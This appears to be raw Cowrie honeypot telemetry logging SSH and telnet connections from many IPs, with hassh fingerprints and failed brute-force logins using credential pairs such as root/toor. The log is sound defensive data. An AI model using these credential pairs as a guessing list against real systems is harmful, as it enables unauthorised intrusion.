{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:04.493117Z","src_ip":"143.20.185.207","session":"d9b62545a51d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZENNIXKY#8VCPU32GBAMD","message":"login attempt [root/ZENNIXKY#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:04.836266Z","src_ip":"143.20.185.207","session":"d9b62545a51d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:05.951293Z","src_ip":"143.20.185.207","session":"d9b62545a51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50214,"dst_ip":"10.17.0.5","dst_port":22,"session":"918e45bcdbde","protocol":"ssh","message":"New connection: 87.251.79.125:50214 (10.17.0.5:22) [session: 918e45bcdbde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:06.666247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:06.670464Z","src_ip":"87.251.79.125","session":"918e45bcdbde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:06.737388Z","src_ip":"87.251.79.125","session":"918e45bcdbde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lpz11ssskqw1q","message":"login attempt [root/lpz11ssskqw1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:06.950865Z","src_ip":"87.251.79.125","session":"918e45bcdbde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:08.025532Z","src_ip":"87.251.79.125","session":"918e45bcdbde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":57318,"dst_ip":"10.17.0.5","dst_port":22,"session":"25933d6bd936","protocol":"ssh","message":"New connection: 213.202.230.81:57318 (10.17.0.5:22) [session: 25933d6bd936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:14.799804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:14.803726Z","src_ip":"213.202.230.81","session":"25933d6bd936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:14.892084Z","src_ip":"213.202.230.81","session":"25933d6bd936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prague_czech","password":"prague123","message":"login attempt [prague_czech/prague123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:15.158540Z","src_ip":"213.202.230.81","session":"25933d6bd936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:16.249345Z","src_ip":"213.202.230.81","session":"25933d6bd936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46726,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffc152a14df6","protocol":"ssh","message":"New connection: 109.237.96.109:46726 (10.17.0.5:22) [session: ffc152a14df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:16.472852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:16.476049Z","src_ip":"109.237.96.109","session":"ffc152a14df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:16.564060Z","src_ip":"109.237.96.109","session":"ffc152a14df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28101982","message":"login attempt [root/28101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:16.829038Z","src_ip":"109.237.96.109","session":"ffc152a14df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:17.922609Z","src_ip":"109.237.96.109","session":"ffc152a14df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":41948,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e7b24fc9550","protocol":"ssh","message":"New connection: 91.92.40.11:41948 (10.17.0.5:22) [session: 6e7b24fc9550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:31.105541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:31.181828Z","src_ip":"91.92.40.11","session":"6e7b24fc9550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:31.247714Z","src_ip":"91.92.40.11","session":"6e7b24fc9550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:31.860224Z","src_ip":"91.92.40.11","session":"6e7b24fc9550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:33.068838Z","src_ip":"91.92.40.11","session":"6e7b24fc9550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":35766,"dst_ip":"10.17.0.5","dst_port":22,"session":"252783c58656","protocol":"ssh","message":"New connection: 38.242.143.220:35766 (10.17.0.5:22) [session: 252783c58656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:41.393279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:41.397216Z","src_ip":"38.242.143.220","session":"252783c58656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:41.485333Z","src_ip":"38.242.143.220","session":"252783c58656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zksync","password":"zksync789","message":"login attempt [zksync/zksync789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:41.766860Z","src_ip":"38.242.143.220","session":"252783c58656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":40660,"dst_ip":"10.17.0.5","dst_port":23,"session":"da92d639546e","protocol":"telnet","message":"New connection: 72.167.226.244:40660 (10.17.0.5:23) [session: da92d639546e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:41.838870Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":44950,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0748375e904","protocol":"ssh","message":"New connection: 103.176.20.57:44950 (10.17.0.5:22) [session: e0748375e904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:42.297028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:42.300415Z","src_ip":"103.176.20.57","session":"e0748375e904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:42.551540Z","src_ip":"103.176.20.57","session":"e0748375e904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:42.856225Z","src_ip":"38.242.143.220","session":"252783c58656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2434634","message":"login attempt [root/2434634] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:43.307362Z","src_ip":"103.176.20.57","session":"e0748375e904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:44.562239Z","src_ip":"103.176.20.57","session":"e0748375e904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":45576,"dst_ip":"10.17.0.5","dst_port":22,"session":"28749ed78552","protocol":"ssh","message":"New connection: 103.153.68.219:45576 (10.17.0.5:22) [session: 28749ed78552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:51.926095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:51.928851Z","src_ip":"103.153.68.219","session":"28749ed78552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:52.176940Z","src_ip":"103.153.68.219","session":"28749ed78552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:52.918485Z","src_ip":"103.153.68.219","session":"28749ed78552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":33736,"dst_ip":"10.17.0.5","dst_port":22,"session":"484a14875bd5","protocol":"ssh","message":"New connection: 23.88.42.180:33736 (10.17.0.5:22) [session: 484a14875bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:53.621499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:53.624859Z","src_ip":"23.88.42.180","session":"484a14875bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha2